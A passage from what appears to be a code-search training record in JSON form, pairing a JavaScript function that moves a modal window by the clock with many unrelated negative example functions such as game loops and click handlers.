like to add another employee?\\\",\\n name: \\\"loop\\\",\\n },\\n ])\\n .then((res) => {\\n if (res.loop) {\\n init();\\n } else {\\n printHTML();\\n return;\\n }\\n });\\n}\",\n \"async function Stopper() {\\r\\n while (true){\\r\\n await sleep(1000);\\r\\n if(MS ===5 && S ===9) {\\r\\n M = increment(M, 1000);\\r\\n S = 0;\\r\\n MS = 0;\\r\\n } else if(S === 9){\\r\\n S = 0;\\r\\n MS = increment(MS,5);\\r\\n } else {\\r\\n S = increment(S,9);\\r\\n }\\r\\n $(\\\"#Time\\\").text(\\\"Time: \\\"+M+\\\":\\\"+MS+\\\"\\\"+S) ;\\r\\n }\\r\\n\\r\\n}\",\n \"function SLOOP(state) {\\n state.loop = state.stack.pop();\\n\\n if (exports.DEBUG) {\\n console.log(state.step, 'SLOOP[]', state.loop);\\n }\\n }\",\n \"function loop(){\\n Jobs.getAndDraw();\\n setTimeout(function(){loop()}, 30000)\\n }\",\n \"startLoop () {\\n\\t this._loop = true;\\n\\n\\t while (this._loop) {\\n\\t switch (this._state) {\\n\\t case GET_INFO:\\n\\t this.getInfo();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_16:\\n\\t this.getPayloadLength16();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_64:\\n\\t this.getPayloadLength64();\\n\\t break;\\n\\t case GET_MASK:\\n\\t this.getMask();\\n\\t break;\\n\\t case GET_DATA:\\n\\t this.getData();\\n\\t break;\\n\\t default: // `INFLATING`\\n\\t this._loop = false;\\n\\t }\\n\\t }\\n\\t }\",\n \"function myLoop () { // create a loop function\\n setTimeout(function () { // call a 3s setTimeout when the loop is called\\n console.log('hello'); // your code here\\n i++; // increment the counter\\n if (i < 10) { // if the counter < 10, call the loop function\\n myLoop(); // .. again which will trigger another \\n } // .. setTimeout()\\n }, 1000)\\n}\",\n \"_stopLoop() { this._isRunning = false; }\",\n \"function loop_over() {\\n\\t\\n\\t\\tif(finished) { // konec\\n\\t\\t\\tcount_result();\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\t\\t\\n\\t\\t$('#arrow').css({\\\"display\\\":\\\"none\\\"});\\n\\t\\tdir = range(37,40); // vygeneruj smer sipky\\n\\t\\t\\n\\t\\tif(dir == 38)\\n\\t\\t\\t$('#arrow').text(\\\"↑\\\");\\n\\t\\telse if(dir == 37)\\n\\t\\t\\t$('#arrow').text(\\\"←\\\");\\n\\t\\telse if(dir == 40)\\n\\t\\t\\t$('#arrow').text(\\\"↓\\\");\\n\\t\\telse\\n\\t\\t\\t$('#arrow').text(\\\"→\\\");\\n\\n\\t\\tsetTimeout(function() {\\n\\t\\t\\t$('#arrow').css({\\\"display\\\":\\\"block\\\"});\\n\\t\\t\\tloop();\\n\\t\\t},0);\\n\\t}\",\n \"function printWithWhile(){\\n\\tvar printwhile = 2000;\\n\\n\\twhile(printwhile <= 5280){\\n\\t\\tconsole.log(printwhile);\\n\\t\\tprintwhile++;\\n\\t}\\n\\n}\",\n \"function TaskLoop() {\\n\\t\\n}\",\n \"function mainLoop()\\n {\\n\\t\\tmainLoopCounter++;\\n if (Graph.instance.nodes.get(state.sourceId).b == 0) {\\n state.current_step = STEP_FINISHED; //so that we display finished, not mainloop when done\\n that.stopFastForward();\\n \\n logger.log(\\\"Finished with a min cost of \\\"+ minCost);\\n\\n }\\n else\\n {\\n logger.log(\\\"Not finished, starting search for augmentation cycle \\\");\\n state.show_residual_graph = true;\\n state.current_step = STEP_FINDSHORTESTPATH; \\n\\t\\t\\n }\\n }\",\n \"function mainLoop () {\\n // Hard coded insturction count that each loop runs.\\n let insCount = 5\\n c8.DELAY = Math.max(0, c8.DELAY - 1)\\n while (insCount > 0) {\\n const { MEM, PC } = c8\\n // Move instruction offset.\\n const ins = getIns(MEM[PC] << 8 | MEM[PC + 1])\\n try {\\n // Perform operation according to instruction.\\n ops[ins[0]](ins, c8, view)\\n } catch (err) { warning(err, ins, c8) }\\n insCount--\\n }\\n window.requestAnimationFrame(mainLoop)\\n }\",\n \"function mainLoop() {\\n // check if the user is drawing and emit xy coords to be pushed into line history on the back end\\n if (mouse.click && mouse.move && mouse.pos_prev) {\\n // send line to to the server\\n client.emit('draw_line', { line: [mouse.pos, mouse.pos_prev] });\\n mouse.move = false;\\n }\\n if (erase) { //user1 erases -> server gets message -> updates client state for all users\\n client.emit('erase_board', { message: 'Client to server: User x erased the board' });\\n erase = false;\\n }\\n //if not drawing, assign values to pos_prev to begin the drawing process\\n mouse.pos_prev = { x: mouse.pos.x, y: mouse.pos.y };\\n setTimeout(mainLoop, 25); //recursive loop every 25ms\\n }\",\n \"loop() {\\n\\t\\tif( game.paused ) {\\n\\t\\t\\tdisplay.clearScreen();\\n\\t\\t\\tgame.draw();\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\n\\t\\tif( !game.nc || ( game.nc && display.frame % 3 === 0 ) ) {\\n\\t\\t\\tgame.update();\\n\\t\\t\\tdisplay.clearScreen();\\n\\t\\t\\tgame.draw();\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t}\",\n \"loop() {\\r\\n\\t\\t\\tthis.looping = true;\\r\\n\\t\\t\\tthis.playing = true;\\r\\n\\t\\t}\",\n \"function alive()\\n{\\n\\tconsole.log(\\\"Loop\\\");\\n\\tswitch(state)\\n\\t{\\n\\t\\tcase 0:\\n\\t\\t\\tconsole.log(\\\"Stopped\\\");\\n\\t\\t\\t//stop();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 1:\\n\\t\\t\\tif (busy == 0)\\n\\t\\t\\t{\\n\\t\\t\\t\\tconsole.log(\\\"Swimming\\\");\\n\\t\\t\\t\\tswim();\\n\\t\\t\\t}\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 2:\\n\\t\\t\\t//NOT Implemented\\n\\t\\t\\tfollow();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 3:\\n\\t\\t\\t//NOT Implemented\\n\\t\\t\\tavoid();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 4:\\n\\t\\t\\t//NOT Implemented\\n\\t\\t\\tfeed();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 5:\\n\\t\\t\\t//DoNothingCozManual!!!!\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tdefault:\\n\\t\\t\\tstate = 1;\\n\\t}\\n}\",\n \"function mainLoop() {\\n\\n\\t\\tvar timeChecker = setInterval(function() {\\n\\n\\t\\t\\tstate.videoPlayer.update();\\n\\t\\t\\t// Forced update of time. Required for Safari.\\n\\t\\t\\ttime = state.videoPlayer.currentTime;\\n\\n\\t\\t\\t// console.log('time:', time);\\n\\t\\t\\t_.each(popUpProblemTimer, function(obj) {\\n\\t\\t\\t\\tif (time >= obj.start && time < obj.end) {\\n\\t\\t\\t\\t\\t// console.log(obj);\\n\\t\\t\\t\\t\\tvideoActions.actionFunction(time, obj);\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tvideoActions.actionFunction(time, null);\\n\\t\\t\\t\\t}\\n\\t\\t\\t})\\n\\t\\t}, 500);\\n\\n\\t}\",\n \"function loopArticles() {\\n if (onAutoLooping) {\\n loop_interval = setInterval(nextArticle, settings.interval);\\n isLooping = true;\\n }\\n }\",\n \"function startLoop() {\\r\\n document.getElementById('tagtitle').innerHTML=title[currentTitle];\\r\\n x= description[currentTitle];\\r\\n // alert(x);\\r\\n if(myInterval > 0) clearInterval(myInterval); // stop\\r\\n myInterval = setInterval( \\\"changeContent()\\\", iFrequency ); // run\\r\\n }\",\n \"function ciblerMonstre(){\\n choisie=false;\\n while (choisie=false){\\n butGob.onclick= function(){\\n cibleMonstre=\\\"Gobelin\\\";\\n vieMonCible=vieGob;\\n choisie=true;\\n }\\n butDef.onclick= function(){\\n cibleMonstre=\\\"Dragon\\\";\\n vieMonCible=vieDra;\\n choisie=true;\\n }\\n butSpe.onclick= function(){\\n cibleMonstre=\\\"Fantôme\\\";\\n vieMonCible=vieFan;\\n choisie=true;\\n }\\n }\\n}\",\n \"function myLoop() { // create a loop function\\n setTimeout(function () { // call a 3s setTimeout when the loop is called\\n console.log(globulCounter); // your code here\\n\\n if (globulCounter < stockArrayBy80.length) { // if the counter < 10, call the loop function\\n getStockAllPriceGoogle(stockArrayBy80[globulCounter]);\\n myLoop(); // .. again which will trigger another\\n } // .. setTimeout()\\n globulCounter++; // increment the counter\\n }, 3000)\\n}\",\n \"function loopMain() {\\n if(!lock && !animation1 && !animation2){\\n lock = true;\\n $.get(\\\"phps/refreshlugares.php\\\",function(responseText,status){\\n try{\\n if(status==\\\"success\\\"){\\n res = JSON.parse(responseText);\\n res.forEach(function (lugar) {\\n switch (lugar.idLugares) {\\n case \\\"1\\\":\\n if(ocupado1!=parseInt(lugar.ocupado))\\n ocupar1();\\n break;\\n case \\\"2\\\":\\n if(ocupado2!=parseInt(lugar.ocupado))\\n ocupar2();\\n break;\\n }\\n });\\n }else{\\n alert(status);\\n }\\n }catch(e){\\n alert(e);\\n }\\n lock = false;\\n });\\n }\\n}\",\n \"function veggieWhileLooper( veggies ) {\\r\\n\\r\\n var i = 0;\\r\\n\\r\\n while ( i < veggies.length ) {\\r\\n\\r\\n console.log( myVeggies[i] );\\r\\n i++;\\r\\n }\\r\\n}\",\n \"function countdown(num){\\r\\n\\r\\n while(num > 1)\\r\\n{\\r\\n console.log(num);\\r\\n num = num - 4;\\r\\n}\\r\\n\\r\\n}\",\n \"function Steady() {\\n// var i;\\n// for (i = 0; i<4; i++) {} => Boucle servant dans le cas où l'on veut ajouter 4 cartes de suite pour la banque\\n while (bank_score[0] < player_score[0]) {\\n var para = document.getElementById('BC');\\n var img = document.createElement('img');\\n var path = randomOne(bank_score, bank_cards, \\\"texte1\\\");\\n img.src = path;\\n para.appendChild(img);\\n }\\n Score_Text_Display(bank_score,player_score);\\n}\",\n \"startLoop () {\\n this._loop = true;\\n\\n do {\\n switch (this._state) {\\n case GET_INFO:\\n this.getInfo();\\n break;\\n case GET_PAYLOAD_LENGTH_16:\\n this.getPayloadLength16();\\n break;\\n case GET_PAYLOAD_LENGTH_64:\\n this.getPayloadLength64();\\n break;\\n case GET_MASK:\\n this.getMask();\\n break;\\n case GET_DATA:\\n this.getData();\\n break;\\n default: // `INFLATING`\\n this._loop = false;\\n }\\n } while (this._loop);\\n }\",\n \"agregarNuevo(){\\n let esta = false;\\n let cont = 0;\\n \\n while(!esta){\\n cont++;\\n const fil = Math.floor(Math.random() * this.size);\\n const col = Math.floor(Math.random() * this.size);\\n\\n if(this.getCelda(fil,col)==null){\\n esta = true;\\n const val = Math.floor(Math.random() * 6)+1;\\n if(val>=0 && val<5)\\n this.setCeldaEfecto(2,fil,col); // 3 chances de 4 de que toque 2\\n else\\n this.setCeldaEfecto(4,fil,col); // 3 chances de 4 de que toque 4\\n }\\n\\n //conta\\n if(cont==1000) esta = true;\\n\\n }\\n\\n }\",\n \"function meshLoop(self)\\n{\\n debug(\\\"MESHA\\\")\\n meshReap(self);\\n meshSeen(self);\\n meshElect(self);\\n meshPing(self);\\n debug(\\\"MESHZ\\\")\\n setTimeout(function(){meshLoop(self)}, 25*1000);\\n}\",\n \"startLoop () {\\n this._loop = true;\\n\\n while (this._loop) {\\n switch (this._state) {\\n case GET_INFO:\\n this.getInfo();\\n break;\\n case GET_PAYLOAD_LENGTH_16:\\n this.getPayloadLength16();\\n break;\\n case GET_PAYLOAD_LENGTH_64:\\n this.getPayloadLength64();\\n break;\\n case GET_MASK:\\n this.getMask();\\n break;\\n case GET_DATA:\\n this.getData();\\n break;\\n default: // `INFLATING`\\n this._loop = false;\\n }\\n }\\n }\",\n \"function executeAll() {\\r\\n //wykonaj wszystkie kroki do konca\\r\\n while (!finished) processStep();\\r\\n prepareScreen5();\\r\\n}\",\n \"function game_loop()\\n{\\n\\t// If frog made it across safely\\n\\tif(frog.lane == 0 && is_safe_cross()) {\\t\\n\\t\\tcrossed_safely();\\n\\t}\\n\\t\\n\\t// If frog is dead\\n\\tif(is_collision() || is_in_water() || is_out_of_bounds() || is_out_of_time() || !is_safe_cross() ) {\\n\\t\\tlives--;\\n\\t\\treset_frog();\\n\\t} \\n\\n\\t// If player has zero frogs left (aka game over)\\n\\tif(lives == 0) {\\n\\t\\tgame_over();\\n\\t}\\n}\",\n \"async function imagerollFunction() {\\n while (counter < imageArray.length && roll) {\\n image.src = imageArray[counter][0];\\n image.alt = imageArray[counter][1];\\n p.innerText = imageArray[counter][1];\\n counter++;\\n await sleep(4000);\\n }\\n}\",\n \"function credits_loop() {\\n \\t\\tdo_fade();\\n \\t\\tdraw_backDrop();\\n \\t\\tdraw_scroller();\\t\\t\\t\\t\\t\\t\\t\\n \\t\\tendScreenTimer--;\\t\\t\\t\\t\\t\\t\\t\\t// Countdown the timer.\\n \\t\\tif (endScreenTimer==0) end();\\t\\t\\t\\t\\t\\t\\t\\t// If it gets to zero, end the credits!\\n \\t\\telse if (creditsLoopOn) requestAnimFrame( credits_loop );\\t// ... otherwise if the demo is continuing, go to the next frame.\\n \\t}\",\n \"function intGoNext(){\\n goNext(0);\\n }\",\n \"async function mainLoop() {\\n\\n\\tdrawBoard(currentlyDisplayedCards);\\n\\twhile (!gameEnded) {\\n\\t\\tlet eventSet = await getEvent(pastEvents);\\n\\t\\tawait handleEvent(eventSet); // handle the event that was just added\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list 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si"},"document":{"kind":"string","value":"function esquivarUsuario() {\n\n //obtenemos la hora actual\n var ahora = new Date();\n\n //calculamos las nuevas coordenadas\n var x = ahora.getMilliseconds();\n var y = x / 2;\n\n //desplazamos la ventana\n // window.moveTo(x, y);\n\n //movemos el div\n var ventana = document.getElementById('myModal');\n ventana.style.position = \"absolute\";\n ventana.style.left = x + \"px\";\n ventana.style.top = y + \"px\";\n\n\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function ClickGerarElite() {\n GeraElite();\n AtualizaGeral();\n}","function ClickGerarAleatorioElite() {\n GeraAleatorioElite();\n AtualizaGeral();\n}","function ClickHabilidadeEspecial() {\n // TODO da pra melhorar.\n AtualizaGeral();\n}","function ClickGastarFeitico() {\n AtualizaGeral();\n}","function do_click(reserva) {\n\tvar v = document.getElementById(reserva);\n\tif (v.alt != 2) {\n\t\tif (fila == 0) { // Comprobacion de que es la primera fila que se\n\t\t\t\t\t\t\t// escoje\n\t\t\tfila = parseInt(reserva / 100);\n\t\t\tif (v.alt == 0) {\n\t\t\t\tv.src = 'images/butacas/iconoLibre.ico';\n\t\t\t\tv.alt = 1;\n\t\t\t\tsetSeat(reserva);\n\t\t\t} else if (v.alt == 1) {\n\t\t\t\tv.src = 'images/butacas/iconoElegido.ico';\n\t\t\t\tv.alt = 0;\n\t\t\t\tdeleteSeat(reserva);\n\t\t\t}\n\t\t} else if (parseInt(reserva / 100) == fila) {\n\t\t\tif (v.alt == 0) {\n\t\t\t\tif (contador < 10) {\n\t\t\t\t\tv.src = 'images/butacas/iconoLibre.ico';\n\t\t\t\t\tv.alt = 1;\n\t\t\t\t\tsetSeat(reserva);\n\t\t\t\t} else\n\t\t\t\t\talert(\"No se puede comprar mas de 10 entradas\");\n\t\t\t} else if (v.alt == 1) {\n\t\t\t\tv.src = 'images/butacas/iconoElegido.ico';\n\t\t\t\tv.alt = 0;\n\t\t\t\tdeleteSeat(reserva);\n\t\t\t}\n\t\t} else\n\t\t\talert(\"Las entradas deben pertenecer a la misma fila\");\n\t}\n}","function ClickDescansar(valor) {\n // Cura letal e nao letal.\n EntradasAdicionarFerimentos(-PersonagemNivel(), false);\n EntradasAdicionarFerimentos(-PersonagemNivel(), true);\n EntradasRenovaSlotsFeiticos();\n AtualizaGeralSemLerEntradas();\n AtualizaGeral();\n}","function ClickGerarPontosDeVida(modo) {\n GeraPontosDeVida(modo);\n AtualizaGeral();\n}","function asignarEventos() {\n _.click(function() {\n\n });\n}","function calificar(){\n//comprobar si ya está vinculado para abrir una pagina emergente y un menú para seleccionar la ruta a calificar\n//if(vincular()=true)\n//open window\n//Al dar clic en el boton de calificar se debe cerrar la ventana emergente y mandar calificacion\n//\n}","function onClick(e) {\n let cantSalvo = tableroSalvo.querySelectorAll(\".active\").length;\n let ajeno = tableroNaves.querySelectorAll(\".hit\").length + tableroNaves.querySelectorAll(\".fail\").length;\n let propio = tableroSalvo.querySelectorAll(\".hit\").length + tableroSalvo.querySelectorAll(\".fail\").length;\n\n if(e.target.classList.contains(\"active\")) {\n e.target.classList.remove(\"active\");\n cantSalvo--;\n } else if(cantSalvo < 5) {\n e.target.classList.add(\"active\");\n cantSalvo++;\n }\n\n if (cantSalvo < 5 || app.turnos(propio, ajeno)) {\n document.querySelector(\".btnShot\").setAttribute(\"disabled\", \"true\");\n } else {\n document.querySelector(\".btnShot\").removeAttribute(\"disabled\");\n }\n}","function ClickEstilo(nome_estilo, id_select_secundario) {\n var select_secundario = Dom(id_select_secundario);\n if (nome_estilo == 'uma_arma' || nome_estilo == 'arma_escudo' || nome_estilo == 'arma_dupla' || nome_estilo == 'rajada' || nome_estilo == 'tiro_rapido') {\n select_secundario.disabled = true;\n } else if (nome_estilo == 'duas_armas') {\n select_secundario.disabled = false;\n } else {\n Mensagem(Traduz('Nome de estilo invalido') + ': ' + Traduz(nome_estilo));\n }\n AtualizaGeral();\n}","function ClickGerarComum() {\n GeraComum();\n AtualizaGeral();\n}","function logo_click() {\n if (pasos.paso1.aseguradoraSeleccionada != null && pasos.paso1.aseguradoraSeleccionada.id == pasos.paso1.listaAseguradoras[$(this).index()].id) {\n componentes.progreso.porcentaje = 0;\n componentes.progreso.barra.css({width: '0px'});\n pasos.paso1.aseguradoraSeleccionada = null;\n $(this).removeClass(\"seleccionada\");\n componentes.pasos.paso1.numero_siniestro.prop('readonly', true);\n } else {\n if (pasos.paso1.aseguradoraSeleccionada == null) {\n componentes.progreso.porcentaje = 5;\n componentes.progreso.barra.css({width: '5%'});\n }\n pasos.paso1.aseguradoraSeleccionada = pasos.paso1.listaAseguradoras[$(this).index()];\n $.get('http://localhost:8080/ReForms_Provider/wr/perito/buscarPeritoPorAseguradora/' + pasos.paso1.aseguradoraSeleccionada.id, respuesta_buscarPeritoPorAseguradora, 'json');\n $(this).siblings(\".seleccionada\").removeClass(\"seleccionada\");\n $(this).addClass(\"seleccionada\");\n componentes.pasos.paso1.numero_siniestro.prop('readonly', false);\n }\n componentes.pasos.paso1.numero_siniestro.val('').focus();\n componentes.pasos.paso1.numero_siniestro.keyup();\n }","function tzimhoniClick()\n\t\t{\n\t\tif (tzimhoniClickStatus==true){\n\t\t\tthis.instruction_txt.text=\"לחץ על רכיב שתרצה לדעת עליו יותר\";\n\t\t\tthis.tivoni_fade.visible=1;\n\t\t\tthis.heraion_fade.visible=1;\n\t\t\tthis.kasher_fade.visible=1;\n\t\t\tthis.tzimhoni_fade.visible=0;\n\t\t\ttzimhoniClickStatus=false;\n\t\t\ttivoniClickStatus=true;\n\t\t\tkasherClickStatus=true;\n\t\t\theraionClickStatus=true;\n\t\t\tthis.tamago.alpha=1;\n\t\t\tthis.tivoni.mouseEnabled=false;\n\t\t\tthis.heraion.mouseEnabled=false;\n\t\t\tthis.kasher.mouseEnabled=false;\n\t\t\tthis.unagi.mouseEnabled=false;\n\t\t\tthis.tobiko.mouseEnabled=false;\n\t\t\tthis.tuna.mouseEnabled=false;\n\t\t\tthis.surimi.mouseEnabled=false;\n\t\t\tthis.palamida.mouseEnabled=false;\n\t\t\tthis.salmon.mouseEnabled=false;\n\t\t\tthis.skin.mouseEnabled=false;\n\t\t\tthis.ekora.mouseEnabled=false;\n\t\t}\n\t\telse{\n\t\t\tthis.instruction_txt.text=\"לחץ לבחירת המאפיין\";\n\t\t\tthis.tivoni_fade.visible=0;\n\t\t\tthis.heraion_fade.visible=0;\n\t\t\tthis.kasher_fade.visible=0;\n\t\t\tthis.tzimhoni_fade.visible=0;\n\t\t\ttzimhoniClickStatus=true;\n\t\t\ttivoniClickStatus=true;\n\t\t\tkasherClickStatus=true;\n\t\t\theraionClickStatus=true;\n\t\t\tthis.tivoni.mouseEnabled=true;\n\t\t\tthis.heraion.mouseEnabled=true;\n\t\t\tthis.kasher.mouseEnabled=true;\n\t\t\tthis.unagi.mouseEnabled=true;\n\t\t\tthis.tobiko.mouseEnabled=true;\n\t\t\tthis.tuna.mouseEnabled=true;\n\t\t\tthis.surimi.mouseEnabled=true;\n\t\t\tthis.palamida.mouseEnabled=true;\n\t\t\tthis.salmon.mouseEnabled=true;\n\t\t\tthis.skin.mouseEnabled=true;\n\t\t\tthis.ekora.mouseEnabled=true;\n\t\t}\n\t\t\n\t\t}","function avvisaUtente() { // senza argomento\n alert('Ciao utente, ti sto avvisando');\n}","function click(cuadrado) {\n\n // Función que nos permite activar el timer\n function activaTiempo(){\n tiempoJuego = setInterval(actualizaTiempo, 1000)\n tiempoActivo = true\n }\n \n // obtenemos el id del cuadrado\n let idActual = cuadrado.id\n // Si el tiempo no ha sido activado lo activamos\n if (!tiempoActivo) activaTiempo()\n // Si el juego ya ha terminado nos salimos\n if (juegoAcabado) return\n // Si el cuadrado ha sido chequeado o contiene una bandera nos salimos\n if (cuadrado.classList.contains('chequeado') || cuadrado.classList.contains('bandera')) return\n // Si contiene una bomba simplemente acaba el juego\n if (cuadrado.classList.contains('bomba')) {\n gameOver(cuadrado)\n } \n // En caso contrario lo descubrimos y colocamos el valor que contiene en el data que sera visible\n else {\n let total = cuadrado.getAttribute('data')\n if (total !=0) {\n cuadrado.classList.add('chequeado')\n if (total == 1) cuadrado.classList.add('uno')\n if (total == 2) cuadrado.classList.add('dos')\n if (total == 3) cuadrado.classList.add('tres')\n if (total == 4) cuadrado.classList.add('cuatro')\n if (total == 5) cuadrado.classList.add('cinco')\n if (total == 6) cuadrado.classList.add('seis')\n if (total == 7) cuadrado.classList.add('siete')\n if (total == 8) cuadrado.classList.add('ocho')\n cuadrado.innerHTML = total\n return\n }\n // Solo llegamos a este caso si el cuadrado es un cuadrado que permite expandirse \n chequeaCuadrado(cuadrado, idActual)\n }\n cuadrado.classList.add('chequeado')\n}","function escucha_users(){\n\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\n\tse muestra en la pag users.php*/\n\tvar x=document.getElementsByTagName(\"article\");/*selecciono todos los usuarios ya qye se encuentran\n\tdentro de article*/\n\tfor(var z=0; z #user\");\n if(localStorage.getItem(\"user\")){\n btn.onclick = (e)=>{\n if(localStorage.getItem(\"user\")){\n location.replace(\"/login/informacioncuenta\");\n }else{\n urlCreateAccount();\n }\n }\n }else{\n urlCreateAccount();\n }\n}","function ClickDesfazer() {\n gEntradas = JSON.parse(gEstado.Restaura());\n AtualizaGeralSemLerEntradas();\n}","function ClickVisao(modo) {\n // Loop para esconder tudo.\n for (var j = 0; j < tabelas_visoes[modo].esconder.classes.length; ++j) {\n var divs_esconder = DomsPorClasse(tabelas_visoes[modo].esconder.classes[j]);\n for (var i = 0; i < divs_esconder.length; ++i) {\n divs_esconder[i].style.display = 'none';\n }\n }\n for (var i = 0; i < tabelas_visoes[modo].esconder.elementos.length; ++i) {\n var divs_combate = Dom(tabelas_visoes[modo].esconder.elementos[i]);\n divs_combate.style.display = 'none';\n }\n // Loop para mostrar.\n for (var j = 0; j < tabelas_visoes[modo].mostrar.classes.length; ++j) {\n var divs_mostrar = DomsPorClasse(tabelas_visoes[modo].mostrar.classes[j]);\n for (var i = 0; i < divs_mostrar.length; ++i) {\n divs_mostrar[i].style.display = 'block';\n }\n }\n for (var i = 0; i < tabelas_visoes[modo].mostrar.elementos.length; ++i) {\n var divs_combate = Dom(tabelas_visoes[modo].mostrar.elementos[i]);\n divs_combate.style.display = 'block';\n }\n gEntradas.modo_visao = modo;\n AtualizaGeralSemLerEntradas();\n}","function verify() {\n //verifica en que pagina se encuentra, dependiendo de la pagina, su respectiva verificacion\n\n\n\n $(\"#altaProductoBoton\").on(\"click\", verificarAltaProducto);\n $(\"#altaCategoriaBoton\").on(\"click\", verificarAltaCategoria);\n $(\"#bajaProductoBoton\").on(\"click\", verificarBajaProducto);\n $(\"#modificarproductoBoton\").on(\"click\", verficiarModificarProducto);\n $(\"#modificarProductoConfirmBoton\").on(\"click\", verficiarModificarConfirmProducto);\n\n\n}","function clickAssess() {\n\t$.trigger(\"clickAssess\");\n}","siguienteNivel() {\n this.subNivel = 0;\n this.iluminarSecuencia();\n this.agregarEventosClick();\n }","function ClickSalvar() {\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\n var nome = gPersonagem.nome.length > 0 ? gPersonagem.nome : 'saved_entradas';\n if (nome == '--') {\n Mensagem('Nome \"--\" não é válido.');\n return;\n }\n HabilitaOverlay();\n SalvaNoArmazem(nome, JSON.stringify(gEntradas), function() {\n CarregaPersonagens();\n DesabilitaOverlay();\n Mensagem(Traduz('Personagem') + ' \"' + nome + '\" ' + Traduz('salvo com sucesso.'));\n });\n}","function ClickVisualizacaoModoMestre() {\n gEntradas.modo_mestre = Dom('input-modo-mestre').checked;\n AtualizaGeralSemLerEntradas();\n}","function checkUser(){\n //console.log('check user started');\n cumputerTurn = false;\n if(userClicked == true){\n \n }\n}","function ClickAdicionarEscudo() {\n gEntradas.escudos.push({ chave: 'nenhum', obra_prima: false, bonus: 0 });\n AtualizaGeralSemLerEntradas();\n}","function clickEnCasilla(x, y) {\n if (miPartida.tableroGirado) {\n x = 7 - x;\n y = 7 - y;\n }\n\n let blanca = esBlanca(miPartida.tablero[x][y]);\n let negra = esNegra(miPartida.tablero[x][y]);\n\n if (!miPartida.hayPiezaSelec) {\n if (miPartida.turno && blanca || !miPartida.turno && negra)\n realizarSeleccionPieza(x, y);\n } else {\n if (esMovValido(x, y)) {\n if (siPeonPromociona(x))\n modalPromocionPeon(x, y);\n else {\n enviarMovimiento(x, y, null);\n realizarMovimientoYComprobaciones(x, y, false);\n }\n } else {\n // Si la pieza pulsada no es la que estaba seleccionada, selecciono la nueva\n if (x !== miPartida.piezaSelec.x || y !== miPartida.piezaSelec.y) {\n // Compruebo que este pulsando una pieza y que sea de mi color\n if (miPartida.turno && blanca || !miPartida.turno && negra) {\n eliminarEstiloMovPosibles();\n realizarSeleccionPieza(x, y);\n }\n } else { // Si la pieza pulsada es la que estaba seleccionada, la deselecciono\n eliminarEstiloMovPosibles();\n deseleccionarPieza();\n }\n }\n }\n}","function iniciar() {\n cuerpoTablaUsuario = document.getElementById('cuerpoTablaUsuario'); \n divRespuesta = document.getElementById('divRespuesta');\n var botonAlta = document.getElementById('botonAlta');\n botonAlta.addEventListener('click', altaUsuario); \n}","function IniciarEventos(){\n\t$('#guardar').click(guardardatos)\n\t$('#cancelar').click(function(){window.history.back()})\n\tshowmessage()\n}","function escucha_Permisos(){\n\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\n\tse muestra en la pag users.php*/\n\tvar x=document.getElementsByClassName(\"work_data\");/*selecciono todos los usuarios ya qye se encuentran\n\tdentro de article*/\n\tfor(var z=0; z= 620 && mouseY <= 720 && mouseX >= 1040 && mouseX <= 1280) {\n aanvalActie = false;\n aanvalKnopStatus = false;\n beweegActie = false;\n beweegKnopStatus = false;\n beurtVeranderen();\n veranderKleur(donkerblauw,wit);\n veranderKleur(lichtblauw,wit);\n }\n}","function ocultable_click() {\n if (!edicion) {\n $(this).siblings('.ocultable-contenido').slideToggle();\n $(this).parent('.ocultable').siblings('.ocultable').children('.ocultable-contenido').slideUp()();\n }\n }","function conocerEvento(e)\n{\n\n\tvar evento = e || window.event;\n\n\t\t//document.getElementById(\"evento\").value = e.type;\n\n // console.log(\"evento\");\n // console.log(e);\n\n if(evento.type == \"click\")\n {\n\n //console.log(\"nombre del click\");\n //console.log(evento.path[0].id);\n\n var nombreclick=evento.path[0].id;\n\n\n //continuar\n if(nombreclick.substr(0,10) == \"continuar\")\n {\n //alert(\"click\");\n //var id=nombreclick.substr(7);\n //console.log(\"comienza valor\");\n //console.log(nombreclick.substr(8));\n //alert(\"empezo entreno\");\n\n //id_plan = document.getElementById(\"codigoplan\").value;\n //console.log(id_sesion);\n //almacenarlocal('id_plan', id_plan);\n //una();\n\n }\n\n\n\n\n }\n\n\n // switch(evento.type) {\n // case 'mouseover':\n // this.style.borderColor = 'black';\n // break;\n // case 'mouseout':\n // this.style.borderColor = 'silver';\n // break;\n // }\n\n}","function asignarEventoClickAprendiz(idAprendiz,identificacion,nombreCompleto,idFicha,idDetalleEstado,contador){\r\n\r\n\t$(\"#btnModificarAprendiz\"+contador).click(function(){\r\n\r\n\t\tlimpiarFormulario(\"formModificarAprendiz\");\r\n\t\t\r\n\t\t$(\"#txtIdAprendiz\").val(idAprendiz);\r\n\t\t\r\n\t\t$(\"#txtIdentificacionAprendizMod\").val(identificacion);\r\n\t\t$(\"#txtNombreCompletoAprendizMod\").val(nombreCompleto);\r\n\t\t$(\"#selectFichaAprendizMod\").val(idFicha);\r\n\t\t$(\"#selectDetalleEstadoAprendizMod\").val(idDetalleEstado);\r\n\t\t\r\n\t});\r\n}","function changeUserStatut() {\n $('.sidebar').on('click', '.user-login li a', function(e) {\n e.preventDefault();\n var statut = $(this).find('span').text();\n currentStatut = $('.user-login button span').text();\n $('.user-login button span').text(statut);\n if (statut == 'Busy') {\n $('.user-login button i:not(.fa)').removeClass().addClass('busy');\n }\n if (statut == 'Invisible') {\n $('.user-login button i:not(.fa)').removeClass().addClass('turquoise');\n }\n if (statut == 'Away') {\n $('.user-login button 